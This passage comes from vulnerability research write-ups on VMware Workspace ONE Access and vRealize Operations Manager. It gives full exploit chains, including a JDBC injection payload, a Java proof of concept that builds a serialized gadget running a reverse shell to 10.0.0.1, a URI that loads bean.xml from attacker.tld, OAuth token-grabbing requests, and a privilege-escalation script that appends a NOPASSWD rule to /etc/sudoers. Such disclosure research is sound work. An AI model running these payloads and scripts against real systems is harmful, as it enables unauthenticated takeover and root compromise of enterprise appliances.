/*     */       }
/*     */     }

Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

  1. The publishCaCert.hzn script allows attackers to disclose sensitive files.
  2. The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

  1. publishCaCert.hzn:

    For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

    #!/bin/sh
    
    #Script to isolate sudo access to just publishing a single file to the trusted certs directory
    
    CERTFILE=$1
    DESTFILE=$(basename $2)
    
    cp -f $CERTFILE /etc/ssl/certs/$DESTFILE // 1
    chmod 644 /etc/ssl/certs/$DESTFILE // 2
    c_rehash > /dev/null
    
  2. gatherConfig.hzn:

    For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

    #!/bin/bash
    #
    # Minor: Copyright 2019 VMware, Inc. All rights reserved.
    . /usr/local/horizon/scripts/hzn-bin.inc
    . /usr/local/horizon/scripts/manageTcCfg.inc
    DEBUG_FILE=$1
    
    #...
    
    function gatherConfig()
    {
        printLines
        echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" > ${DEBUG_FILE}
        #...
        chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1
    }
    
    if [ -z "$DEBUG_FILE" ]
    then
        usage
    else
        DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt"
        gatherConfig
    fi
    

Exploitation

OAuth2TokenResourceController ACS Authentication Bypass

  1. First, we can grab the activationToken.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

    Response:

    {
     "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...",
     "_links": {}
    }
    
  2. Now, with the activation token let’s get the client_id and client_secret.

    Request:

    POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1
    Host: photon-machine
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 168
    
    eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...
    

    Response:

    {
     "client_id": "Service__OAuth2Client",
     "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o"
    }
    

From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT.

DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution

Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize

It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>.

This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them!

Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory

It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext!

Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml.

But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack.

Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.

    public LicenseChecker(final String s) {
        this(s, true); // 1
    }

    public LicenseChecker(final String state, final boolean validateExpiration) {
        this._handle = new LicenseHandle();
        if (state != null) {
            this._handle.setState(state); // 2
        }
        this._validateExpiration = validateExpiration;
    }

At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:

    public void setState(String var1) {
        if (var1 != null && var1.length() >= 1) {
            try {
                byte[] var2 = MyBase64.decode(var1); // 3
                if (var2 != null && this.deserialize(var2)) { // 4
                    this._state = var1;
                    this._isDirty = false;
                }
            } catch (Exception var3) {
                log.debug(new Object[]{"failed to decode state: " + var3.getMessage()});
            }

        }
    }

At [3] the code base64 decodes the string and at [4] the code then calls deserialize:

    private boolean deserialize(byte[] var1) {
        if (var1 == null) {
            return true;
        } else {
            try {
                ByteArrayInputStream var2 = new ByteArrayInputStream(var1);
                DataInputStream var3 = new DataInputStream(var2);
                int var4 = var3.readInt();
                switch(var4) {
                case -889267490:
                    return this.deserialize_v2(var3); // 5
                default:
                    log.debug(new Object[]{"bad magic: " + var4});
                }
            } catch (Exception var5) {
                log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()});
            }

            return false;
        }
    }

You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:

    private boolean deserialize_v2(DataInputStream var1) throws IOException {
        byte[] var2 = Encrypt.readByteArray(var1);
        if (var2 == null) {
            log.debug(new Object[]{"failed to read cipherText"});
            return false;
        } else {
            try {
                byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6
                if (var3 == null) {
                    log.debug(new Object[]{"failed to decrypt state data"});
                    return false;
                } else {
                    ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
                    ObjectInputStream var5 = new ObjectInputStream(var4);
                    this._htEvalStart = (Hashtable)var5.readObject(); // 7
                    log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"});
                    return true;
                }
            } catch (Exception var6) {
                log.warn(new Object[]{var6.getMessage()});
                return false;
            }
        }
    }

At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn:

jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D

Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes:

import com.vmware.licensecheck.LicenseChecker;
import com.vmware.licensecheck.LicenseHandle;
import com.vmware.licensecheck.MyBase64;
import ysoserial.payloads.ObjectPayload.Utils;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Hashtable;
import java.io.*;

public class Poc {
    public static void main(String[] args) throws Exception {
        String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes());
        Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c $@|sh . echo echo %s|base64 -d|bash", shell));
        LicenseChecker lc = new LicenseChecker(null);
        Field handleField = LicenseChecker.class.getDeclaredField("_handle");
        handleField.setAccessible(true);
        LicenseHandle lh = (LicenseHandle)handleField.get(lc);
        Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart");
        htEvalStartField.setAccessible(true);
        Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty");
        isDirtyField.setAccessible(true);
        Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>();
        ht.put(1337, payload);
        htEvalStartField.set(lh, ht);
        isDirtyField.set(lh, true);
        handleField.set(lc, lh);
        String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8");
        System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload));
    }
}

I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen.

The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains.

publishCaCert and gatherConfig Privilege Escalation

This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user.

Proof of Concept

I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker.

The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022.

All three exploits can be downloaded here: https://github.com/sourceincite/hekate/.

Server-side Client-side

All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration.

Exposure

Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device.

Conclusion

The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget.

References

  1. https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
  2. https://landgrey.me/blog/11/
  3. https://conference.hitb.org/files/hitbsecconf2021sin/materials/D1T2 - Make JDBC Attacks Brilliant Again - Xu+Yuanzhen & Chen Hongkun.pdf
  4. https://github.com/su18/JDBC-Attack
  5. https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/
  6. https://pyn3rd.github.io/2022/06/02/Make-JDBC-Attacks-Brilliant-Again/

From Shared Dash to Root Bash :: Pre-Authenticated RCE in VMWare vRealize Operations Manager

9 August 2022 at 14:00

vROps

On May 27th, I reported a handful of security vulnerabilities to VMWare impacting their vRealize Operations Management Suite (vROps) appliance. In this blog post I will discuss some of the vulnerabilities I found, the motivation behind finding such vulnerabilities and how companies can protect themselves. The result of the research project concludes with a pre-authenticated remote root exploit chain using seemingly weak vulnerabilities. VMware released an advisory and patched these vulnerabilities in VMSA-2022-0022.

vROps attack flow

Motivation

This project was motivated by the excellent blog post that Egor wrote titled Catching bugs in VMware: Carbon Black Cloud Workload Appliance and vRealize Operations Manager. Egor used a pre-authenticated SSRF to leak the highly privileged credentials and then chained it with an arbitrary file upload vulnerability to gain remote code execution as admin.

As always, it provides a real challenge to find high impact web vulnerabilities against a target that had been previously audited by other security researchers.

Tested Versions

The vulnerable version at the time of testing was 8.6.3.19682901 which was the latest and deployed using the vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova (sha1: 4637b6385db4fbee6b1150605087197f8d03ba00) file. It was released on the 28th of April 2022 according to the release notes. This was a Photon OS Linux deployment designed for the cloud.

I also tested an older version - 8.6.2.19081814 using the vRealize-Operations-Manager-Appliance-8.6.2.19081814_OVF10.ova (sha1: 0363f4304e4661dde0607a3d22b4fb149d8a10a4) file and confirmed that the vulnerabilities also exist in this version. The final exploit I wrote works on both versions and should work on anything in between!


MainPortalFilter ui Authentication Bypass (CVE-2022-31675)

  • CVSS: 5.6 (/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L)
  • Advisory: SRC-2022-0017

The first vulnerability is in the com.vmware.vcops.ui.util.MainPortalFilter class:

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        // ...
        String servletPath = request.getServletPath().toLowerCase();
        UserContext userContext = UserContextVariable.get();
        // ...
        if (servletPath != null && servletPath.toLowerCase().startsWith("/contentpack/dashboard_dump/")) {
            response.setStatus(400);
        } else {
            String token1 = request.getParameter("t"); // 1

            boolean isSaasModeUser;
            boolean isResourcePath;
            boolean ssoRequested;
            try {
                if (token1 != null) { // 2
                    isSaasModeUser = UserContextVariable.isAnonymousUser();
                    DashboardLink dashboardLink = DashboardShareAction.getDashboardPublicLink(token1, (String)null); // 3
                    if (userContext == null || dashboardLink == null || (isSaasModeUser || !userContext.getUserId().equals(dashboardLink.getUserId())) && (!isSaasModeUser || !userContext.getUserKey().equals(dashboardLink.getUserId()))) {
                        //...
                        if (dashboardLink != null) { // 4
                            if (isResourcePath) {
                                response.sendRedirect("dashboardViewer.action");
                                filterChain.doFilter(request, servletResponse);
                                return;
                            }

                            if (ssoRequested) {
                                this.doSessionResolve(request, response);
                            } else {
                                session.setAttribute("token1", token1);
                                session.setAttribute("allowExternalAccess", true);
                                response.setHeader("Set-Cookie", "JSESSIONID=" + session.getId() + "; Path=/ui; Secure; HttpOnly; SameSite=None");
                                response.sendRedirect("dashboardViewer.action?mainAction=dr");
                                filterChain.doFilter(request, servletResponse); // 5
                            }
                            // ...

At [1] the code looks for a t parameter from the incoming request and if found at [2] the code tries to find a DashboardLink instance with the code at [3]. Then if a valid DashboardLink was found at [4] the code reaches the doFilter at [5]. This allows an attacker with a valid dashboard link id to bypass authentication completely in the /ui/ struts frontend.

When an admin creates a dashboard link to share, an entry is created into the Cassandra database:

root@photon-machine [ ~ ]# /usr/lib/vmware-vcops/cassandra/apache-cassandra-3.11.11/bin/cqlsh.py --ssl --cqlshrc /usr/lib/vmware-vcops/user/conf/cassandra/cqlshrc
Connected to VROps Cluster at 127.0.0.1:9042.
[cqlsh 5.0.1 | Cassandra 3.11.11 | CQL spec 3.4.4 | Native protocol v4]
Use HELP for help.
vcops_user@cqlsh> select key from globalpersistence.dashboardpubliclinks;

 key
--------------------------
 vcgh5fgjhs_::_ns3d5yt5vk

(1 row)
vcops_user@cqlsh>

It’s common to create and share dashboard links, since it’s by design and even expected to be embedded in a page:

After accessing the link without a valid session, we can view the associated dashboard:

The interesting thing to note here, is that port 443 is supposed to be exposed because how else could dashboard links be shared?

Exploitation

It’s not possible to leak data directly using this vulnerability since the server responds with a 302 redirect. At first, I thought I was up against the chicken and egg problem where I can only fire off requests to endpoints to change data, but I couldn’t use CSRF tokens because I couldn’t read them back due to the redirect! Oh my! However, on careful inspection I noticed that I could create a user and omit the secureToken CSRF token. This is because the call to doFilter is hit on line 120, well before the call to checkSecureToken on line 345!

An additional advantage to this vulnerability is, that an attacker can link someone to a malicious website that can backdoor the application with an admin user. Putting it together though, I can backdoor the application with an admin user without interaction if I have a shared dashboard link. The user created is restricted to the /ui/ and /suite-api/ interfaces but I wanted access to the /admin/ interface because there exists a forever day remote code execution in this component by enabling SSH access.

It looks like we are going to have to hunt another vulnerability!

SupportLogAction Information Disclosure (CVE-2022-31674)

  • CVSS: 6.5 (/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • Advisory: SRC-2022-0019

Inside of the com.vmware.vcops.ui.action.SupportLogsAction class we find the following entry:

                if (this.mainAction.equals("getLogFileContents")) { // 1
                    lduId = this.request.getParameter("instanceId");
                    instanceId = this.request.getParameter("fileName"); // 2
                    boolean allowedFileName = WebUtils.isAllowedFileName(instanceId); // 3
                    if (!allowedFileName) {
                        this.writeJsonOutput("{status: 'can not complete request, invalid file type or pattern'}");
                        return null;
                    } else {
                        lduId = this.request.getParameter("lduId");
                        logTypeStr = this.request.getParameter("logType");
                        LogType logType = LogType.fromString(logTypeStr);
                        linePosition = this.request.getParameter("linePosition").isEmpty() ? -1 : Integer.parseInt(this.request.getParameter("linePosition"));
                        int lineLimit = this.request.getParameter("lineLimit").isEmpty() ? 1000 : Integer.parseInt(this.request.getParameter("lineLimit"));
                        if (!lduId.isEmpty() && !instanceId.isEmpty() && !lduId.isEmpty() && logType != null && lineLimit >= 0) {
                            ResultDto<LogFileContentsDTO> fileContent = this.dataRetriever.getSupportLogFileContents(lduId, logType, lduId, instanceId, linePosition, lineLimit); // 4
                            // ...
                        } else {
                            this.writeJsonOutput("{status: 'can not request, missing some params'}");
                            return null;
                        }
                    }
                }

At [1] the code checks for the mainAction parameter to be the value of getLogFileContents. Then at [2] the code gets the fileName parameter and at [3] the code calls isAllowedFileName on it. This was the giveaway for me:

    public static Boolean isAllowedFileName(String fileName) {
        if (!fileName.matches(".*\\.(?i)(log|txt|out|current)(\\.\\d+)?$")) {
            return false;
        } else {
            String nonEncodedFileName = fileName.replaceAll("(?i)(%2e|%252e)", ".");
            nonEncodedFileName = nonEncodedFileName.replaceAll("(?i)(%2f|%252f|%5c|%255c|\\\\)", "/");
            return nonEncodedFileName.contains("../") ? false : true;
        }
    }

Essentially the code is looking for any log file in /storage/log/vcops/log/ directory.

Exploitation

The issue comes down to the Pak manager writing sensitive passwords into log files:

root@photon-machine [ /storage/log/vcops/log/pakManager ]# grep -lir "bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ="
APUAT-86018696447/apply_system_update_stderr.log
APUAT-85018176777/apply_system_update_stderr.log
vcopsPakManager.root.post_apply_system_update.log.1

For example, in APUAT-86018696447/apply_system_update_stderr.log we see:

DEBUG - Calling GET: /casa/security/ping, headers: {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-vRealizeOps-API-use-unsupported': 'true', 'Authorization': 'Basic bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ='}

This occurs when a legitimate Pak file is uploaded, and an install is triggered. At first it appears that the vulnerability is within the Pak manager for logging such sensitive data, but the real vulnerability is in the exposure to a lower privileged user. VMWare removed the Pak manager interface from the /ui/ and tried to implement a little security by obscurity!

Using this vulnerability, I was able to leak the maintenanceAdmin user and trigger a password reset for the admin user because it’s the user that can login from remote via SSH:

root@photon-machine [ ~ ]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1003::/home/admin:/bin/bash
postgres:x:1001:100::/var/vmware/vpostgres/11:/bin/bash

At first when I checked, I thought I had enough privileges as root at this point, but it turns out I didn’t.

admin@photon-machine [ ~ ]$ id
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
admin@photon-machine [ ~ ]$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied

Which means, more bug hunting and chaining!

generateSupportBundle VCOPS_BASE Privilege Escalation (CVE-2022-31672)

  • CVSS: 7.2 (/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
  • Advisory: SRC-2022-0020

Inside of the /etc/sudoers file we find the following entry:

admin ALL = NOPASSWD: /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py *

This allows low privileged users to run the script as root using sudo. Inside of the generateSupportBundle.py file we find:

try:
    VCOPS_BASE = os.environ['VCOPS_BASE'] # 1
except KeyError as ex:
    # In cloudvm, this could happen - for example, if caller like cis
    # has not called the /etc/profile.d/vcops.sh.
    filePath = os.path.dirname(os.path.realpath( __file__ ))
    # Since this file is located at $VCOPS_BASE/tools, we can use relative path
    VCOPS_BASE =  os.path.abspath(filePath + "/..")
VCOPS_BASE=VCOPS_BASE.replace('\\', '/')
commonLib = VCOPS_BASE + '/install/'
sys.path.append(commonLib)

The code heavily depends on the VCOPS_BASE environment variable at [1]. When running the script, the following code is executed:

ds = []
if options.get("action") is None:
    options["action"] = 'create'
#...
if options.get("action") == 'create':
    runGssTroubleShootingScript() # 2

The runGssTroubleShootingScript method is called if action is not supplied at [2].

def runGssTroubleShootingScript():
    gss_troubleshooting_script_path = os.path.join(find_vcops_base_path(), "..", "vmware-vcopssuite", "utilities", "bin") # 3

    try:
        output = subprocess.Popen("{0}/gss_troubleshooting.sh".format(gss_troubleshooting_script_path))
    except subprocess.CalledProcessError as e:
        print ('Failed to run gss troubleshooting script, error code {0}:'.format(e.returncode))

At [3], that method attempts to call an executable script as root and uses find_vcops_base_path to get the path location of the script:

def find_vcops_base_path():
    """Finds the VCOPS_BASE environment variable.
    @return: the VCOPS_BASE path or an exception if it cannot be found.
    """
    if 'VCOPS_BASE' in os.environ:
        vcops_base_path = os.environ['VCOPS_BASE'] # 4
    elif 'ALIVE_BASE' in os.environ:
        vcops_base_path = os.environ['ALIVE_BASE']
   # ...
   return vcops_base_path # 5

At [4] and [5] if the VCOPS_BASE environment variable is set, it will return that.

Exploitation

All an attacker needs to do is setup the environment variable before calling the script to elevate privileges.

#!/bin/sh
mkdir -p poc
mkdir -p vmware-vcopssuite/utilities/bin/
cat <<EOT > vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
#!/bin/sh
echo "admin ALL = NOPASSWD: ALL" >> /etc/sudoers
EOT
chmod 755 vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
sudo VCOPS_BASE=poc /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py test > /dev/null 2>&1
sudo rm -rf poc
sudo rm -rf vmware-vcopssuite
sudo sh
sudo sed -i '$ d' /etc/sudoers

Proof of Concept

The exploit is called DashOverride and you can download it here.

Gaining pre-authenticated remote code execution as root!


Conclusion

Each of the CVSS scores for the 3 vulnerabilities are rated moderate/high and when considered on their own, they are quite weak. But chained together their impact is significant and depending on your threat model, the authentication bypass scenario could pose a real threat if dashboard links are shared around within your organization or exposed on the perimeter.

Some of you may ask, well did you get a bounty for any of this? In which the short answer is… No.

References

